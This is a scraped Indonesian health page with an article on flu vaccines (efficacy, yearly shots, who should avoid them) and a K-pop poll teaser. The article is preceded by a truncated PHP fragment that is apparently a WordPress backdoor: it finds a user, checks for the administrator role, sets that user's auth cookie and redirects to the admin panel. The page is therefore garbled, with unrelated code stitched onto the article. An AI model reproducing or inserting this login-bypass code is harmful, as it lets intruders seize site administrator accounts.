user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Vaksin Flu

21 Jun 2013


Makin mudahnya kita terserang flu, membuat vaksin flu menjadi salah satu pilihan efektif mencegah flu. “Dengan melakukan vaksin, Anda akan terhindar dari infeksi virus influenza hingga 80%. Masih ada sedikit kemungkinan, tapi jauh lebih kecil dari orang yang tidak melakukan vaksin flu,” jelas dr. MadanM. Vasandani dari Centrepoint Healthcare.
   
Vaksin flu berisi virus influenza yang sudah dimatikan. Virus itu dimasukkan ke dalam tubuh dengan cara injeksi atau semprot untuk merangsang tubuh membentuk antibodi. Dengan begitu, saat virus influenza mencoba masuk, tubuh sudah memiliki antibodi layaknya pagar, sehingga virus tersebut tak dapat menginfeksi.
Sebenarnya secara otomatis tubuh akan membentuk antibodi saat virus akan masuk ke dalam tubuh. Akan tetapi, perkembangan virus influenza di dalam tubuh lebih cepat daripada pembentukan antibodi. Karena itu, perlu vaksin flu sebagai langkah antisipasi.

Advertisement
Perlu diingat, virus influenza selalu bermutasi. Tiap tahun ia berubah wujud, sehingga antibodi yang sebelumnya sudah terbentuk, belum tentu bisa menangkal virus yang datang setelahnya. Karena itu, vaksin flu perlu dilakukan tiap tahun. Berbeda dengan virus penyebab cacar yang tidak bermutasi, sehingga, jika sudah pernah cacar, kita tidak akan mengalami cacar kembali. 

Menurut dr. Madan, bisa saja vaksin flu dilakukan dua kali setahun. “Ada masa di mana virus influenza yang beredar di belahan bumi utara berbeda dengan belahan bumi selatan. Tiap tahun akan ada informasi mengenai hal tersebut dari Centers for Disease Control and Prevention (CDC) Amerika, sehingga dokter akan tahu apakah vaksin flu tahun ini cukup dilakukan sekali atau dua kali,” jelasnya.

Bagi  orang yang alergi telur, tidak boleh mendapatkan vaksin flu. Sebab, virus yang dimatikan dalam vaksin tersebut ditumbuhkan di dalam telur. Orang yang mengalami sindrom Guillain-Barre (radang urat), juga tidak boleh mendapatkan vaksin ini karena vaksin flu merangsang antibodi, sedangkan sindrom tersebut disebabkan oleh antibodi. Demikian juga dengan orang yang sedang demam atau flu.  Mereka harus sembuh dulu sebelum mendapatkan vaksin ini.




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?